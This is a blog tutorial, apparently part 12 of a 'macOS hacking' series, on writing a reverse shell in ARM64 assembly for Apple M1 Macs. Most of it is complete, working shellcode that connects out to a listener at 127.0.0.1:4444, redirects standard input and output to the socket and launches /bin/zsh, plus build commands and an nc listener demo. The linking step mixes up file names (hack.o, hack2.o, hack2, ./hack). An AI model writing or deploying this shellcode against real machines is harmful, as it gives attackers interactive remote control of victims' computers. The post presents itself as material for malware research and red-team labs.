MacOS hacking part 12: reverse shell for ARM (M1). Simple Assembly (M1) example
﷽
Hello, cybersecurity enthusiasts and white hackers!
In the previous post, our bind shell for M1 worked flawlessly. But when you switch from bind()
to connect()
, suddenly nothing happens.
Same syscalls, same logic - but connect silently fails. Why?
Because Darwin (BSD) cares about how you pack your sockaddr_in
:
sin_len
, big-endian port, and stable address pointers. Miss one byte - and the syscall collapses.
few words about bind and reverse shell in ARM M1
So, in the other words, the bind-shell we already have works because it avoids two fragile things: a remote address and precise byte layout. Binding to INADDR_ANY
is forgiving. Connecting requires a 16-byte
struct sockaddr_in
with a correct sin_len
, sin_family
, network-order port, and a pointer that survives relocations. On Darwin (BSD) sin_len
is not optional; endianness mistakes silently break connect. Also, building the structure in registers with many movk/lsl
operations is brittle across pages and relocations - use .data
+ adrp/add
for a predictable pointer. That’s the practical rule you’ll see repeated in this post.
practical example
Let’s create simple reverse shell. Start in _main
(or _start
if you link differently). The code uses BSD syscall numbers that matched our working bind example: 97
for socket, 98
for connect, 90
for dup2, 59
for execve. These syscalls expect conventional arm64
argument/return behavior: x0..x7
for args, x0
for return.
So, we start as usual, open a TCP socket with socket(AF_INET, SOCK_STREAM, 0)
:
; create socket: socket(AF_INET, SOCK_STREAM, 0)
mov x0, #2
mov x1, #1
mov x2, xzr
mov x16, #97
svc #0xffff
; check result in x0 (>=0)
cmp x0, #0
blt _exit_fail
; save socket fd
mov x19, x0
BSD uses syscall 97
for socket. Return value in x0
- negative means error. Store the socket FD in x19
, which is callee-saved and safe across syscalls.
Then we need to prepare sockaddr_in
. This is where most connect PoCs die. On Linux you can omit sin_len
; on macOS you can’t. The structure must be exactly 16
bytes:
We place it directly in .data
, not on the stack:
.data
sockaddr_in:
.byte 16, 2, 0x11, 0x5c, 127, 0, 0, 1, 0,0,0,0, 0,0,0,0
.text
and reference it safely with ADRP/ADD
:
; prepare pointer to sockaddr_in (use adrp/add)
adrp x1, sockaddr_in@PAGE
add x1, x1, sockaddr_in@PAGEOFF
mov x2, #16 ; sizeof(struct sockaddr_in)
That gives a reloc-safe pointer to the structure, even if code and data land on different pages.
Then for connecting to the listener, we neede to call connect(sockfd, addr, len)
:
; connect(sockfd, addr, addrlen)
mov x0, x19
mov x16, #98 ; bsd syscall: connect (98)
svc #0xffff
cmp x0, #0
blt _exit_fail
this connection logic returns 0 on success. If you forgot sin_len
or mixed endian on the port, it fails silently. For example, typical lab error: writing 0x5C11
instead of 0x115C
.
Once connected, all we need is I/O redirection:
; redirect stderr/stdout/stdin -> socket using dup2
; dup2(sock, 2)
mov x0, x19
mov x1, #2
mov x16, #90
svc #0xffff
; dup2(sock, 1)
mov x0, x19
mov x1, #1
; x16 already 90, but set again for clarity
mov x16, #90
svc #0xffff
; dup2(sock, 0)
mov x0, x19
mov x1, #0
mov x16, #90
svc #0xffff
After these three syscalls, stdin/out/err
point to the network socket. Anything typed in the listener appears here.
Finally, launch the shell: build /bin/zsh
on the stack and call execve
:
; execve("/bin/zsh", ["/bin/zsh", NULL], NULL)
; push path
mov x3, #0x622f ; "/b"
movk x3, #0x6e69, lsl#16 ; "in"
movk x3, #0x7a2f, lsl#32 ; "/z"
movk x3, #0x6873, lsl#48 ; "sh"
stp x3, xzr, [sp, #-16]! ; "/bin/zsh\0"
; argv = { path, NULL }
add x0, sp, xzr ; x0 = pointer to path
stp x0, xzr, [sp, #-16]! ; push argv array
add x1, sp, xzr ; x1 = argv
mov x2, xzr ; envp = NULL
mov x16, #59 ; execve (bsd syscall 59)
svc #0xffff
If execve
succeeds, this process image is replaced by zsh
. If it returns, something broke, and we exit.
_exit_fail:
mov x0, #1
bl _exit
So, full source code looks like this hack.s
:
; hack.s
; apple M1 ARM reverse shell
; author: cocomelonc
; https://cocomelonc.github.io/macos/2025/10/15/malware-mac-12.html
.text
.global _start
.align 2
.section __TEXT,__text
; sockaddr_in for 127.0.0.1:4444
; memory layout (little-endian):
; sin_len (1), sin_family (1), sin_port (2 BE), sin_addr (4), sin_zero[8]
.data
sockaddr_in:
.byte 16, 2, 0x11, 0x5c, 127, 0, 0, 1, 0,0,0,0, 0,0,0,0
.text
_start:
; create socket: socket(AF_INET, SOCK_STREAM, 0)
mov x0, #2
mov x1, #1
mov x2, xzr
mov x16, #97
svc #0xffff
; check result in x0 (>=0)
cmp x0, #0
blt _exit_fail
; save socket fd
mov x19, x0
; prepare pointer to sockaddr_in (use adrp/add)
adrp x1, sockaddr_in@PAGE
add x1, x1, sockaddr_in@PAGEOFF
mov x2, #16 ; address length
; connect(sockfd, addr, addrlen)
mov x0, x19
mov x16, #98 ; bsd syscall: connect (98)
svc #0xffff
cmp x0, #0
blt _exit_fail
; redirect stderr/stdout/stdin -> socket using dup2
; dup2(sock, 2)
mov x0, x19
mov x1, #2
mov x16, #90
svc #0xffff
; dup2(sock, 1)
mov x0, x19
mov x1, #1
; x16 already 90, but set again for clarity
mov x16, #90
svc #0xffff
; dup2(sock, 0)
mov x0, x19
mov x1, #0
mov x16, #90
svc #0xffff
; execve("/bin/zsh", ["/bin/zsh", NULL], NULL)
; push path
mov x3, #0x622f ; "/b"
movk x3, #0x6e69, lsl#16 ; "in"
movk x3, #0x7a2f, lsl#32 ; "/z"
movk x3, #0x6873, lsl#48 ; "sh"
stp x3, xzr, [sp, #-16]! ; "/bin/zsh\0"
; argv = { path, NULL }
add x0, sp, xzr ; x0 = pointer to path
stp x0, xzr, [sp, #-16]! ; push argv array
add x1, sp, xzr ; x1 = argv
mov x2, xzr ; envp = NULL
mov x16, #59 ; execve (bsd syscall 59)
svc #0xffff
;if execve returns -> exit
_exit_fail:
mov x0, #1
mov x16, #1 ; exit syscall wrapper via libc _exit may differ
; we call _exit via symbol below
; call libc _exit to be safe
bl _exit
demo
Let’s go to see this in action. Compile:
as -arch arm64 hack.s -o hack.o
then link:
ld -arch arm64 -e _start -o hack2 hack2.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)
Then run listener in the first terminal:
nc -l -p 4444
Then run in the another:
./hack
As you can see, when the connection succeeds, you get an interactive zsh
prompt inside nc
.
Everything is worked perfectly as expected! =^..^=
conclusion
Reverse shells are the oldest trick in the offensive programming and malware dev. They appear in post-exploitation toolkits and stagers everywhere - from old Metasploit payloads to modern Cobalt Strike and Sliver beacons. The core pattern is always the same:
connect
, dup2
then execve("/bin/sh")
.
Of course, this isn’t a “perfect” reverse shell, but it’s functional and understandable. It can be further developed at your discretion. I might return to this in future posts.
I hope that this post is useful for malware R&D, shellcode development, and red teaming labs, Apple/Mac researchers and as always, for blue team specialists.
macOS hacking part 1
macOS hacking part 11
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine